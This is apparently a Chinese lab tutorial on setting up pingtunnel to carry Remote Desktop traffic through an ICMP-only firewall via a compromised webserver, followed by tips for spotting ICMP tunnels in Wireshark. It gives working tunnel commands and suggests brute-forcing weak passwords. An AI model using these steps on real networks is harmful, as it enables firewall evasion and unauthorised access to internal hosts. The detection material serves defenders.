一、pingtunnel工作原理

在上面的实验环境中,我们将分别在攻击机kali 2020和webserver上部署pingtunnel工具,在量太主机之间实现icmp隧道,再在kali2020上监听1080(图中写错了,没改过来),将webserver访问内网主机server2003远程桌面3389的数据通过icmp协议进行数据封装,然后转发到kali2020的1080端口上,从而实现了win7上访问server2003上3389端口的目的。webserver作为黑客的一个跳板,从而控制内网的主机。这个过程看起来跟ssh隧道本地端口转发非常相似,不同之处知识穿透防火墙的流量是通过icmp协议,另一个是ssh协议。

二、部署pingtunnel

操作系统环境:两台kali linux,两台windows,一台防火墙(只允许icmp协议数据包通过),

1.下载pingtunnel

  先到网站http://freshmeat.sourceforge.net/projects/ptunnel下载tar包文件,解压编译安装

1>tar zxf PingTunnel-0.72.tar.gz
2>cd PingTunnel
3>make && makeinstall
注意:

安装前要先安装依赖库(libpcap类似于wincap)

apt-get install flex

apt-get install -y byacc

wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar zxf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
make && make install

2.pingtunnel参数

-x 指定 icmp 隧道连接验证密码

-lp 指定要监听的本地 tcp 端口

-da 指定要转发到的机器的 ip 地址

-dp 指定要转发到的机器的 tcp 端口

-p 指定icmp隧道另一端机器的 ip 地址

3.c/s命令

vps(攻击机)命令:

ptunnel -p 192.168.4.134  -lp 1080  -da 1.1.1.10 -dp 3389 -x  pass

webserver(跳板机)命令:

ptunnel -x shuteer

win 7 (黑客攻击端)命令

win + R

mstsc

192.168.4.136:1080

接下来可以尝试密码弱口令暴力破解

此时我们就可以拿到内网主机的远程桌面,实现远程控制的目的了,请仔细看看我所标红的IP地址,发现了什么,192.168.4.136是vps的ip地址,而这台主机的真正ip为1.1.1.10内网主机的ip

我们再看看数据经过ICMP隧道,在pingtunnel上留下的记录

可以很情绪的看到session会话

三、防御ICMP隧道攻击的方法

许多网络管理员会阻止ICMP通信进出站点。但是出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过wireshark进行ICMP数据包分析以检测恶意ICMP流量,具体方法如下。

.检测同一来源的ICMP数据包的数量。一个正常的ping 命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包。

.注意那些Payload大于64bit的ICMP数据包

.寻找相应数据包中的payload与请求数据包中的payload不一致的ICMP数据包

.检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP payload前面添加"TUNL"标记来标识隧道----这就是特征

最新文章

  1. Sql Server 中一个非常强大的日期格式化函数
  2. python 获取当前目录下文件(转)
  3. variably modified 'dist' at file scope|
  4. C#技术漫谈之垃圾回收机制(GC)(转)
  5. 【兄弟连ThinkPHP】1、介绍和安装
  6. Unity重力的测试
  7. C#限制程序只能运行一個实例 (防多开)
  8. Android优秀资源整理合集(论菜鸟到高级攻城狮)
  9. firefox 中碰到的一个小坑
  10. homework-03 扑街。。
  11. 在Windows下利用php自带的mail函数发邮件
  12. bootstrap使用中遇到的问题(二)
  13. SQL Server 虚拟化(2)——理想的SQL Server虚拟机架构
  14. 关于php-fpm比较重要的几个参数
  15. Centos7修改系统时区
  16. 使用python调用淘宝的ip地址库查询接口结合zabbix判断dnspod域名解析是否正确
  17. Nginx配置静态资源
  18. as2.0 清除主时间轴上所有的影片简介
  19. PAT 1050 螺旋矩阵(25)(代码)
  20. Spring基础(9) : 自动扫描

热门文章

  1. R语言服务器程序 Rserve详解
  2. MATLAB中拟合算法刚入门
  3. 【刷题-LeetCode】165 Compare Version Numbers
  4. MySQL函数学习(一)-----字符串函数
  5. ansible roles实践——安装java
  6. zabbix安装 报错 socket '/var/lib/mysql/mysql.sock' (13)]
  7. 深入了解promise
  8. MySQL 5.7主从搭建(同一台机器)
  9. tigergao--shell
  10. 在IDE中普通项目打成jar包